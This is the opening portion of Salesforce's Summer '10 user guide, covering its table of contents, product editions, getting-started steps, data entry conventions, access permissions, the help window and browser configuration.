Sie sind auf Seite 1von 2708

User Guide: Summer '10

How to be Successful with Salesforce

Last updated: July 19, 2010


© Copyright 2000-2010 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other
names and marks. Other marks appearing herein may be trademarks of their respective owners.
Table of Contents

Table of Contents

Welcome.............................................................................................................................................1
What's New in Salesforce.com?...........................................................................................................................................................1
Overview...................................................................................................................................................................................2
Getting Started..........................................................................................................................................................................6

Working in Salesforce.........................................................................................................................23
Personal Setup.........................................................................................................................................................................23
Home Tab................................................................................................................................................................................45
Accounts..................................................................................................................................................................................53
Activities..................................................................................................................................................................................91
Contacts................................................................................................................................................................................150
Contact Roles........................................................................................................................................................................171
Contracts...............................................................................................................................................................................174
Custom Object Records........................................................................................................................................................187
Documents............................................................................................................................................................................198
Email.....................................................................................................................................................................................208
List Views..............................................................................................................................................................................219
Notes & Attachments............................................................................................................................................................233
Salesforce Chatter..................................................................................................................................................................238
Salesforce CRM Content......................................................................................................................................................260
Salesforce for Google Apps...................................................................................................................................................292
Search and Tags.....................................................................................................................................................................312

Administering Salesforce..................................................................................................................341
Setting Up Your Organization...............................................................................................................................................341
Company Information...........................................................................................................................................................346
Multiple Currencies...............................................................................................................................................................401
Advanced Currency Management.........................................................................................................................................405
Divisions................................................................................................................................................................................408
Managing Mail Merge Templates.........................................................................................................................................416
Using Letterheads.................................................................................................................................................................420
Managing Email Templates...................................................................................................................................................423
User Management.................................................................................................................................................................443
Security and Sharing.............................................................................................................................................................513
Data Management.................................................................................................................................................................593
Monitoring............................................................................................................................................................................700
Salesforce Mobile..................................................................................................................................................................730
Email Administration............................................................................................................................................................776
Customize.............................................................................................................................................................................788

i
Table of Contents
Critical Updates Console.....................................................................................................................................................1257
Force.com Sites....................................................................................................................................................................1261
Customer Portal..................................................................................................................................................................1306

Building and Extending Apps..........................................................................................................1355


App Setup Overview...........................................................................................................................................................1355
Customization Overview.....................................................................................................................................................1356
Create..................................................................................................................................................................................1360
Develop...............................................................................................................................................................................1536
Deploy.................................................................................................................................................................................1676
Installed Packages................................................................................................................................................................1692

Selling............................................................................................................................................1716
Account Teams....................................................................................................................................................................1716
Assets...................................................................................................................................................................................1722
Competitors.........................................................................................................................................................................1730
Forecasting...........................................................................................................................................................................1733
Customizable Forecasts.......................................................................................................................................................1740
Opportunities......................................................................................................................................................................1750
Quotes.................................................................................................................................................................................1771
Products...............................................................................................................................................................................1793
Team Selling........................................................................................................................................................................1819
Territory Management........................................................................................................................................................1826
Salesforce for Wealth Management.....................................................................................................................................1854
Relationship Groups............................................................................................................................................................1863
Salesforce CRM for Outlook..............................................................................................................................................1881
Connect for Outlook...........................................................................................................................................................1914
Connect for Lotus Notes.....................................................................................................................................................1942
Connect for Office..............................................................................................................................................................1969
Connect Offline...................................................................................................................................................................1976
Mail Merge..........................................................................................................................................................................1998

Marketing......................................................................................................................................2004
Campaigns...........................................................................................................................................................................2004
Leads...................................................................................................................................................................................2052
Salesforce for Google AdWords..........................................................................................................................................2074

Analytics........................................................................................................................................2087
Reports................................................................................................................................................................................2087
Dashboards..........................................................................................................................................................................2178
Report Types.......................................................................................................................................................................2207
Analytic Snapshots..............................................................................................................................................................2218

ii
Table of Contents

Providing Support..........................................................................................................................2233
Call Center..........................................................................................................................................................................2233
Cases....................................................................................................................................................................................2274
Case Teams..........................................................................................................................................................................2305
Portals..................................................................................................................................................................................2317
Solutions..............................................................................................................................................................................2319
Salesforce Knowledge..........................................................................................................................................................2341
Console................................................................................................................................................................................2364
Ideas....................................................................................................................................................................................2375
Answers...............................................................................................................................................................................2390
Entitlement Management...................................................................................................................................................2402

Partner Selling...............................................................................................................................2460
Salesforce to Salesforce........................................................................................................................................................2460
Connection Finder..............................................................................................................................................................2492
Partners................................................................................................................................................................................2496
Partner Portal......................................................................................................................................................................2500

More Resources..............................................................................................................................2548
FAQ.....................................................................................................................................................................................2548
Printable Tip Sheets & User Guides...................................................................................................................................2626
Accessibility.........................................................................................................................................................................2630
Salesforce Online Help Glossary.........................................................................................................................................2636

Checkout.......................................................................................................................................2667
Index...............................................................................................................................................................................................2671

iii
Table of Contents

iv
WELCOME

What's New in Salesforce.com?


Current Release
The latest release includes new features for sales, support, and marketing users as well as enhancements to the platform. For
more information, visit the Summer '10 community page.
For a complete listing of new features along with implementation tips and best practices, see:
• Summer '10 Release Notes
• Force.com Connect for Lotus Notes Release Notes
• Force.com Connect for Office Release Notes
• Force.com Connect Offline Release Notes
• Force.com Connect for Outlook Release Notes
• Salesforce CRM for Outlook Release Notes

Past Releases
For information about new features introduced in previous releases, see:
• Spring '10 Release Notes
• Winter '10 Release Notes
• Summer '09 Release Notes
• Spring '09 Release Notes
• Winter '09 Release Notes
• Summer '08 Release Notes
• Spring '08 Release Notes
• Winter '08 Release Notes
• Summer '07 Release Notes
• Spring '07 Release Notes
• Force.com Mobile 7.0 for BlackBerry Release Notes
• Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
• Winter '07 Release Notes
• Summer '06 Release Notes
• Winter '06 Release Notes
• Force.com Mobile 6.0 Release Notes
• Summer '05 Release Notes
• Winter '05 Release Notes
• Summer '04 Release Notes
• Spring '04 Release Notes
• Winter '04 Release Notes
• Summer '03 Release Notes

1
Overview Introduction

OVERVIEW

Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate
with other systems, and build your own applications. Salesforce.com includes the following products and services:
Salesforce.com Applications
Salesforce.com includes prebuilt applications for customer relationship management (CRM) ranging from sales force
automation to partner relationship management, marketing, and customer service.

Force.com Platform
The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of
business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click
customization tools to help you create solutions for your unique business requirements, without any programming
experience.

AppExchange
AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers,
and partners. Many of the applications are free and all of them are pre-integrated with Salesforce.com, enabling you to
easily and efficiently add functionality.

Salesforce.com Community
Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be
successful. Visit Salesforce.com Community.

See Also:
What Is an Edition?
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition

2
Overview What Is an Edition?

What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These
bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature
that is available in Professional Edition for an additional fee may be included in Enterprise Edition.
For a comparison chart of Editions and their features, see Selecting the right Salesforce.com Edition.
The online help describes all generally available features, including those that may not be available in your Edition. Refer to
the “Available in:” line at the top of a help topic to see if it applies to your Edition.

See Also:
Introduction
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Viewing User License Types

Personal Edition
Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition
provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook®.
It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which
occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June
2009 still have access to opportunities.

Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts,
contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use
customization options.

3
Overview Group Edition

Group Edition
Salesforce.com Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition
users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and
service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports.

Professional Edition
Salesforce.com Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition
includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to
mid-sized deployment.

Enterprise Edition
Salesforce.com Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the
functionality available in Professional Edition, Enterprise Edition organizations get advanced customization and administration
tools that can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can
easily integrate with back-office systems.

See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide
Force.com API Usage Limits

Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the
entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility
for managing and sharing all of their information on demand.
Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom
apps, increased storage limits, and more.

See Also:
Enterprise Edition
Force.com API Usage Limits

Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce.com
system, integrate with other applications, and develop new tools and applications. Developer Edition provides access to many
of the features available with Enterprise Edition.

4
Overview Force.com Free Edition

Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for
Developer Edition is available from the Technical Library.

See Also:
Force.com API Usage Limits
Force.com Free Edition

Force.com Free Edition


Force.com Free Edition is a Salesforce.com organization designed for developing and deploying one Force.com app for up to
100 users. You can upgrade your Free Edition account to a paid subscription if you need to deploy more custom applications
to more users in the future.
Free Edition includes most Force.com features but does not provide users with Salesforce.com CRM functionality and standard
objects, such as accounts, contacts, campaigns, leads, opportunities, forecasts, products, cases, and solutions.
The following table shows the differences and similarities between Free Edition and Salesforce.com's other development
environment, Developer Edition:

Free Edition Developer Edition


Force.com Development Yes Yes
Force.com Deployment Yes No
Upgradeable Yes No
CRM No Yes
Self-Service No Yes
Mobile Platform No Yes
Customer Portal No Yes
Partner Portal No Yes
Developer preview features No Yes
Multi-language support No Yes

Salesforce.com does not provide technical support for Free Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website—developer.force.com.

See Also:
Developer Edition

5
Getting Started Getting Started with Salesforce.com

GETTING STARTED

Getting Started with Salesforce.com


Available in: All Editions

With Salesforce.com, you can enter, organize, and find your important business data. To get started, review these preliminary
steps.

For All Users


• Review the Salesforce.com Fundamentals training.
• Edit your personal information.
• Import your existing contacts.

For Administrators
• Review the Admin Fundamentals—Setup and Admin Fundamentals Setup—Customize training courses.
• Set up your Salesforce.com organization.
• Import your company's existing data.

For Developers
• Review the Salesforce.com Fundamentals training.
• Review the Documentation Resources for Force.com Developers.

See Also:
Language Settings Overview
Error Messages
Entering Data

Language Settings Overview


Available in: All Editions

The Salesforce.com Web user interface, Connect Offline, Connect for Outlook, and Connect for Office are available in
multiple languages.
The Salesforce.com Web user interface has two language settings:

6
Getting Started Trial Overview

• Personal language—All on-screen text, images, buttons, and online help display in this language. Edit your personal
information to change this setting.
• Default organization language—This applies to all new users until they select their personal language. This setting also
determines the language in which all customizations—such as custom fields, tabs, and user interface options—are stored.
For customizations, users' personal language settings don't override this default setting. Some setup items that are manually
entered by an administrator can be translated in the Translation Workbench.
Administrators can change this setting by editing the company information.

Text entered by users remains in the language in which it was entered.

Trial Overview
Available in: All Editions

During your trial, you can evaluate Salesforce.com before you subscribe. Your trial includes:

• Sample data. You can delete sample data or start a new trial.
• Administrator privileges. The person who signed up automatically becomes the administrator. You can add another
administrator when you add more users.
• A variety of Salesforce.com features.
• The ability to subscribe to Salesforce.com.

Note: Features included in your trial may not be available in the Edition you choose to purchase.
If you set up multiple users in your trial and later choose to convert to Personal Edition, all users except the original
system administrator will be deactivated.

See Also:
Adding or Subtracting User Licenses

Deleting Trial Data


Available in: All Editions

User Permissions Needed


To delete trial data: “Modify All Data”

When you sign up for Salesforce.com, your organization is initially populated with some sample data. During your trial period,
administrators can delete all of this sample data plus all of your organization’s data at one time.
To delete all of the existing data in a trial organization:

7
Getting Started Trial Overview

1. Click Setup ➤ Data Management ➤ Delete All Data. This link is available only during your trial period.
2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes
both sample data and data you have entered. Your user and administration setup is not affected.
3. Click Submit.

After your trial period has ended, you can delete any sample data manually or with the Mass Delete feature.

See Also:
Trial Overview
Starting a New Trial

Starting a New Trial


Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To start a new trial: “Modify All Data”

When you sign up for Salesforce.com, you can choose an industry-specific template with sample data. During your trial period,
you can start a new trial with a blank template. To start a new trial, you must abandon your current trial, including all data
and customizations.
You can start a new trial if you have:

• Less than 1000 rows of data


• No additional user licenses added by salesforce.com
• No additional functionality enabled by salesforce.com

To start a new trial:

1. Click Setup ➤ Data Management ➤ Start a New Trial. This link is available only during your trial period.
2. Select your language and template preferences.
3. Enter the requested text stating that you want to abandon your current trial organization and all of its data. This includes
both sample data and data you have entered.
4. Check the box to confirm that all of your current trial data will be lost.
5. Click Submit.
6. When the confirmation page appears, click Submit.

8
Getting Started Troubleshooting Login Issues

Note: By choosing to start a new trial, you are abandoning your current trial organization including all existing data
and customizations. You will no longer be able to access the trial or data. Only usernames will be preserved.

See Also:
Trial Overview
Deleting Trial Data

Troubleshooting Login Issues


Available in: All Editions

Logging in for the first time:

1. Your administrator adds you as a user.


2. You receive an email with your username and temporary password.
3. Log in, change your password, and set a security question response.

Overcoming password issues:

• Forgot your password? Retrieve it.


• Locked out? Wait until the lockout period expires and try again, or contact your administrator.
• Password expired? Change your password when prompted.

Password policies determine how many failed logins are allowed, how long the lockout period lasts, and password requirements
such as minimum length.
Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you
don't respond to this time-out prompt, the system displays a login page. See Monitoring Setup Changes on page 578
for instructions on disabling this prompt.

Navigating
Available in: All Editions

You can navigate between pages and select options using standard text and button links.
On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list that
you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of the “All
Accounts” view, clicking Back to List: Accounts returns you to that page of the “All Accounts” view. Alternately, if your most
recently viewed list page was a list of cases, then the link would be Back to List: Cases. The link isn't available if you haven't
yet viewed any list pages in your current session.

9
Getting Started Entering Data

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions.

See Also:
About the Sidebar
Navigating Long Lists

Entering Data
Available in: All Editions

Entering data in Salesforce.com is much like entering data in any Web page. You can enter data in any of the tabs, or you can
import data.
Note the following:

• Remember to click Save so you don’t lose your changes.


• Required fields are marked with red on editable pages. All other fields are optional.
• If your organization enabled inline editing, you can edit fields directly on the detail page.

See Also:
Entering Dates and Times
Entering Currency
Entering Phone Numbers
Selecting Picklist Values

Entering Dates and Times


Available in: All Editions

Many fields allow you to enter a date or a time in the format specified by your Locale setting. For more information about
these formats, see What format is used for dates, times, and names in Salesforce.com? on page 2563.
To enter a time, do one of the following:

• Click the link next to the field on the edit page to enter the current time.
• Manually enter a time in the format allowed by your Locale setting.

To enter a date:

1. Click in the date or date/time field on an edit page.


2. Choose a date from the calendar, or manually enter a date.

10
Getting Started Entering Data

All dates display with four digits for the year, although you can enter two or four digits according to these guidelines.
Examples are shown in the English (United States) locale:

• Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040
• Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960
• Enter four digits for any year from 1700 to 4000

3. Optionally, enter a literal date value.


If your locale and language are English, you can use the following special date values for entering dates:

Literal Date Value Range


Yesterday The day before the current day.
Today The current day.
Tomorrow The day after the current day.
Monday The next Monday. If the current day is Monday, the current
day.
Tuesday The next Tuesday. If the current day is Tuesday, the current
day.
Wednesday The next Wednesday. If the current day is Wednesday, the
current day.
Thursday The next Thursday. If the current day is Thursday, the
current day.
Friday The next Friday. If the current day is Friday, the current
day.
Saturday The next Saturday. If the current day is Saturday, the current
day.
Sunday The next Sunday. If the current day is Sunday, the current
day.
mm/dd The values for the day and month and the current year. For
example, 12/31 would expand to 12/31/2009 if the year is
2009.
mm.dd The values for the day and month and the current year. For
example, 12.31 would expand to 12/31/2009 if the year is
2009.
mm-dd The values for the day and month and the current year. For
example, 12-31 would expand to 12/31/2009 if the year is
2009.

If the field is a date/time field, the time is set to the current time. These literal date values are not case sensitive.

11
Getting Started Entering Data

Tip: You can set these literal date values using the first three letters. For example, yes for yesterday or mon for
Monday.

Minimum and Maximum Dates


Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on
January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000.
Note: These values are offset by your timezone. For example, in the Pacific timezone, the earliest valid date is
1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

See Also:
Entering Data
Entering Currency
Entering Phone Numbers
Selecting Picklist Values

Entering Currency
Available in: All Editions

In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information
determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition
organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record.
When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands,
millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter
criteria.

See Also:
Entering Data
Entering Dates and Times
Entering Phone Numbers
Selecting Picklist Values
Managing Multiple Currencies

12
Getting Started Entering Data

Entering Phone Numbers


Available in: All Editions

When you enter phone numbers in various phone fields, Salesforce.com preserves whatever phone number format you enter.
However, if your Locale is set to English (United States) or English (Canada), ten-digit phone numbers and eleven-digit
numbers that start with “1” are automatically formatted as (800) 555-1212 when you save the record. If you do not want
this formatting for a ten- or eleven-digit number, enter a “+” before the number, for example, +49 8178 94 07-0.
Note: If your ten- and eleven-digit phone numbers have Salesforce.com’s automatic format, you may need to enter
the parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment
rules, for example, “Phone starts with (415).”

See Also:
Entering Data
Entering Dates and Times
Entering Currency
Selecting Picklist Values

Selecting Picklist Values


In Salesforce.com, you may encounter a few different types of picklist fields:

• Standard picklists - Click the down arrow to select a single value.


• Multi-select picklists - Double click on any available value in one scrolling box to add that value to the selected scrolling
box on the right. You can choose a single value or multiple values. To select values within a range, select the first value and
click the last value in the range while holding down the SHIFT key; then, click the arrow to add selections to the chosen
box.
• Dependent and controlling picklists work in conjunction with each other. The value chosen in the controlling picklist
affects the values available in its dependent picklist. Both controlling and dependent picklists are indicated on edit pages
by an icon. Hover your mouse over the icon to display the name of the controlling or dependent picklist.

See Also:
Entering Data
Entering Dates and Times
Entering Currency
Entering Phone Numbers

13
Getting Started Entering Data

Editing Data Using Inline Editing


Inline editing settings available in: All Editions

User Permissions Needed


To enable inline editing: “Customize Application”

Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the
record's edit page first.
To enable inline editing for your organization, see Customizing User Interface Settings on page 1247.
To edit a record using inline editing:
1. Hover your mouse over the field you want to change:

• indicates an editable field


• indicates a read-only field (such as Last Modified By)

2. Double-click the highlighted region next to the field. The field changes to edit mode. Salesforce.com displays compound
fields (such as addresses, first and last names, dependent picklists, and dependent lookups) in a dialog box so that all
portions of the field can be edited.
3. Enter the new value. Press Esc while your cursor is in a field's edit box to revert a change for that field.
4. Click away from the field to confirm your change and continue making edits. If you are editing a field that is not a text
area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text. To revert a
change, click next to the field.
5. Press Enter again or click Save to commit all confirmed changes.
Important: Salesforce.com doesn't save confirmed changes to field values until you commit them by pressing the
Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels
all edits made to the record.

Tips for Saving Inline Edits


• Press Enter while your cursor is in a field's edit box to confirm the change for that field.
• Press Enter when no fields are in edit mode to save all edits to the record.

Unsupported Behaviors
• Removing the Edit button from a page layout doesn't prevent users from modifying the record using inline editing. To
prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security,
page layout field properties, validation rules, profile permissions or Visualforce pages.
• Inline editing isn't available for users with accessibility mode enabled.
• Inline editing isn't available for the following standard checkboxes on case, lead, and account edit pages:
- Case Assignment (Assign using active assignment rules)
- Case Email Notification (Send notification email to contact)

14
Getting Started Entering Data

- Lead Assignment (Assign using active assignment rule)


- Territory Assignment (Run territory assignment rules on save)

• You can't use inline editing on setup pages.


• Solution descriptions can't be modified using inline editing if HTML solutions are enabled.
• Inline editing isn't supported in the Customer Portal.
• You can use inline editing to change the values of fields on records for which you have read-only access, either via field-level
security or your organization's sharing model; however, Salesforce.com doesn't let you save your changes, and displays an
insufficient privileges error message when you try to save the record.

Special Cases
• Inline editing is available on detail pages for all editable fields on edit pages, except for some fields on tasks, events, price
books, and documents. To edit any of these, navigate to the edit page of a record, change the value of the field desired,
and then click Save. The following table lists the fields that can't be edited on record detail pages and list views. You may
need special permissions to view some of these fields:

Object Fields
All Objects Long text area fields
Opportunities Editable on detail pages but not on list views:
- Amount
- Stage
- Forecast Category
- Quantity

Leads Lead Status (editable on detail pages but not on list views)

Cases Case Status (editable on detail pages but not on list views)

Contracts Contract Status (editable on detail pages but not on list views)

Tasks - Due Date


- Related To
- Name
- Priority
- Status
- Private
- Reminder
- Event
- Date
- All Day Event
- Time
- Recurrence Settings

Documents All fields


Pricebooks All fields

15
Getting Started Accessing Data

Error Messages
While using Salesforce.com, you may occasionally get an error message. Typically, this happens when you try to view, edit,
or delete information to which you don't have access. The message page that displays should explain the reason for the error.
Click your browser’s Back button to return to the previous page. If you feel you have incorrectly received an error, click Help
& Training at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.

Accessing Data
Available in: All Editions

Your administrator can customize many different areas to secure your company's data. Additionally, users in Professional,
Enterprise, Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing
records individually with colleagues.
To determine whether you can access data, review this table:

Action Access Needed


To view a tab: • You must have the “Read” permission on the records within
that tab.
• Make sure you have customized your personal display to
show the tab.

To view a record: • Make sure you have the “Read” permission on the type of
record you want to view.
• Professional, Enterprise, Unlimited, and Developer Edition
organizations can set a sharing model that determines the
access users have to records they do not own. Depending
on your sharing model, the owner may need to share the
record with you if you are not the owner of the record or
above the owner in the role hierarchy.
• Enterprise, Unlimited, and Developer Edition
organizations can use territory management to grant access
to accounts, opportunities, and cases.

To view a field: • Make sure you have the “Read” permission on the type of
record for the field.
• For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may prevent you from seeing the field.
• Check your page layout; depending on your page layout
settings, you may see some fields and not others.

16
Getting Started Using the Help & Training Window

Action Access Needed


To edit a field: • Make sure you have the “Edit” permission on the type of
record for the field.
• For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may set a field to “Read-Only.”
• Check your page layout; page layouts can set fields to read
only.

To view a related list: • Make sure you have the “Read” permission on the type of
records displayed in the related list.
• Check your page layout; depending on your page layout
settings, you may see some fields and not others.

To view a button or link: • Make sure you have the necessary permission to perform
the action. Buttons and links only display for users who
have the appropriate user permissions to use them.

Using the Help & Training Window


All information in the online help applies to All Editions, unless otherwise noted.

The Salesforce.com Help & Training window offers the resources you need to be successful. You can:

• Find Answers to Your Questions


• Consult, Print, or Email Online Help Topics
• Download Tip Sheets and Best Practice Guides
• Review Documentation for Force.com Developers
• Take Free Training
• Contact Customer Support

Find Answers to Your Questions


Click Help & Training at the top of any page. Enter your keywords in the Search box and click Go!. The search returns
online help topics, knowledge base solutions, and recommended training classes that match the keywords you entered.
Tips for searching within the Help & Training window:

• Search returns online help topics, knowledge base solutions, and recommended training classes that include any or
all of your keywords. For example, searching for data loader may return results with just data, just loader, or both
keywords in any order. Items that include more of your keywords are listed higher in results, and items that contain
your keywords as a phrase or near each other are also listed higher.
• Use multiple keywords to narrow your search results. For example, create lead assignment rules returns
more specific results than just assignment rules.

17
Getting Started Using the Help & Training Window

• Search is not case-sensitive. Mail Merge is the same as mail merge.


• Search finds variants of your keywords, for example, searching for creating finds items containing create, created,
and creating.
Note: This behavior applies only to the type of word you search for: a search for a noun matches variants of
the noun form, a search for a verb matches variants of the verb form, and so on.

• Commonly used words such as the, about, and, and not are ignored.
• Search wildcards, such as * and ?, and operators, such as AND, OR, and AND NOT, are treated like any other
keyword. For example, searching for outlook AND cases is treated exactly the same as outlook cases.

After you find the answer you need, you can click the Email Page link at the top of the window to send a URL for
the help topic or knowledge base solution to yourself or anyone else.

Consult, Print, or Email Online Help Topics


Click the Help for this Page link on any page in Salesforce.com to open a context-sensitive online help topic describing
that page. On any related list in Salesforce.com, click the Help link to open an online help topic describing that related
list.
To print a PDF version of the online help, click the Help tab of the Help & Training window and click Printable User
Guide in the taskbar.
To email the URL for any online help topic to another person, click the Email Page link in the top right of the Help
& Training window.

Download Tip Sheets and Best Practice Guides


Select the Help tab of the Help & Training window and click Tips & User Guides in the taskbar to view and download
tip sheets, implementation guides, and best practices for specific features.
Visit www.salesforce.com/community to browse and access more tips, best practices, and tools for success with
Salesforce.com.

Review Documentation for Force.com Developers


If you are building an app on the Force.com platform, writing Apex, or building integrations with the Force.com API,
see Documentation Resources for Force.com Developers on page 1662 for more information.

Take Free Training


Select the Training tab of the Help & Training window, choose your role and geographic location, and click View
Classes! to find free, online training classes to help you learn how to use Salesforce.com.

Contact Customer Support


Select the My Cases tab of the Help & Training window to access customer support options. Click Log a Case to submit
your question or issue directly to salesforce.com Customer Support. Click View Cases to see your previously submitted
cases.
To contact salesforce.com Customer Support directly, use the following numbers depending on your location:

• Americas: (415) 901-7010


• EMEA: 00353 1 272 3503
• APAC: +65 6302 5700
• Japan: +81-3-5785-8480

18
Getting Started Supported Browsers

For more information about the most efficient ways to receive the customer support assistance you need, see the Contacting
Customer Support tip sheet.

Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help &
Training window, but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do
find any errors, please use the feedback form at the bottom of every help page.

See Also:
Custom Help Overview
Replacing Salesforce.com Online Help

Supported Browsers
Available in: All Editions

The Salesforce.com online application supports the following browsers:

Browser Comments
Mozilla Firefox version 3.0 Salesforce.com recommends using Firefox for best performance. For
configuration recommendations, see Configuring Firefox on page 20.
Microsoft® Internet Explorer versions 6.0, 7.0, Salesforce.com strongly recommends using Internet Explorer version 8.0 over
and 8.0 versions 6.0 and 7.0. Apply all Microsoft® hotfixes. For configuration
recommendations, see Configuring Internet Explorer on page 21.
Apple® Safari version 3.2 Supported on Windows XP and Mac OS X version 10.4 and later. There are
no browser setting recommendations for Safari.

Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0.

Certain features in the Salesforce.com online application—as well as some desktop clients, toolkits, and adapters—have their
own browser requirements. For example:

• Internet Explorer is the only supported browser for:

- standard mail merge


- installing Salesforce Mobile on a Windows Mobile device
- Connect Offline

• Internet Explorer 6.0 is not supported for:

- Salesforce Chatter
- Answers
- Cloud Scheduler

19
Getting Started Supported Browsers

- the new user interface theme

• Safari is not supported for the Salesforce CRM Call Center CTI Toolkit.
• Firefox is recommended for the enhanced page layout editor.

Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce.com
System Requirements.

Configuring Firefox
Available in: All Editions

For best performance, salesforce.com recommends using the Mozilla Firefox 3.0 browser.
Required Settings
The following settings are required:

1. Click Tools ➤ Options.


2. Enable JavaScript:

a. Go to the Content panel.


b. Select the Enable JavaScript and Enable Java options.

3. Accept cookies:

a. Go to the Privacy panel.


b. Select the Accept Cookies from sites option.
c. For the Keep until option, select they expire.

4. Set encryption protocols:

a. Go to the Advanced panel.


b. Click the Encryption tab.
c. Select the Use SSL 3.0 option.

5. Click OK.

Advanced Settings
Optionally, configure advanced caching preferences to maximize performance:

1. Type about:config in the browser's location bar, and then press Enter.
2. If a warning displays, click I'll be careful, I promise!.
3. Search for the following preferences and set them to the recommended value by double-clicking the preference name.
Changes take effect immediately.
4. Change how the browser retains common resources across requests by setting the following caching preferences.

Preference Recommended Value Default Value


browser.cache.check_doc_frequency 3 3

20
Getting Started Supported Browsers

Preference Recommended Value Default Value


browser.cache.disk.capacity 50,000 or more; increase to use more hard disk 50,000
space
browser.cache.disk.enable True True
browser.cache.disk_cache_ssl True False
browser.cache.memory.enable True True
network.http.use-cache True True

Note: You can set some of these preferences by clicking Tools ➤ Options in the Firefox browser. Refer to
Firefox Help for details.

Tip: Setting privacy.sanitize.sanitizeOnShutdown to “True” causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.
Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.

See Also:
Supported Browsers

Configuring Internet Explorer


Available in: All Editions

Salesforce.com supports the use of Microsoft® Internet Explorer versions 6.0, 7.0, and 8.0. However, for better performance,
salesforce.com strongly recommends version 8.0 over the other supported versions.
To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you
can open by clicking Tools ➤ Internet Options:
General Tab

1. From the General tab, click Settings under Browsing History (Temporary Internet Files for version 6.0).
2. For the Check for newer versions of stored pages option, select Automatically.
3. For the Disk space to use option (Amount of disk space to use in version 6.0), enter at least 50 MB.

Security Tab

1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section.

21
Getting Started Supported Browsers

2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled.

Privacy Tab

1. From the Privacy tab, click Advanced.


2. Select the Override automatic cookie handling option.
3. Select the Always allow session cookies option.

Advanced Tab
From the Advanced tab, scroll to the Security section and do the following:

• Do not select the Do not save encrypted pages to disk option.


• Select the Use SSL 3.0 option.

Tip: The Empty Temporary Internet Files folder when browser is closed option causes the
cache to clear when Internet Explorer is shut down. This increases privacy, but may decrease performance.

See Also:
Supported Browsers

22
WORKING IN SALESFORCE

PERSONAL SETUP

Personal Setup Overview


The available setup options vary according to which Salesforce.com Edition you have.

The Personal Setup page, accessed by clicking Setup, contains setup and customization options to help you personalize the
application for your personal use.

My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options:
• Personal Information—Edit your user information, create quotas, view login history, and more (see Editing Your Personal
Information on page 24).
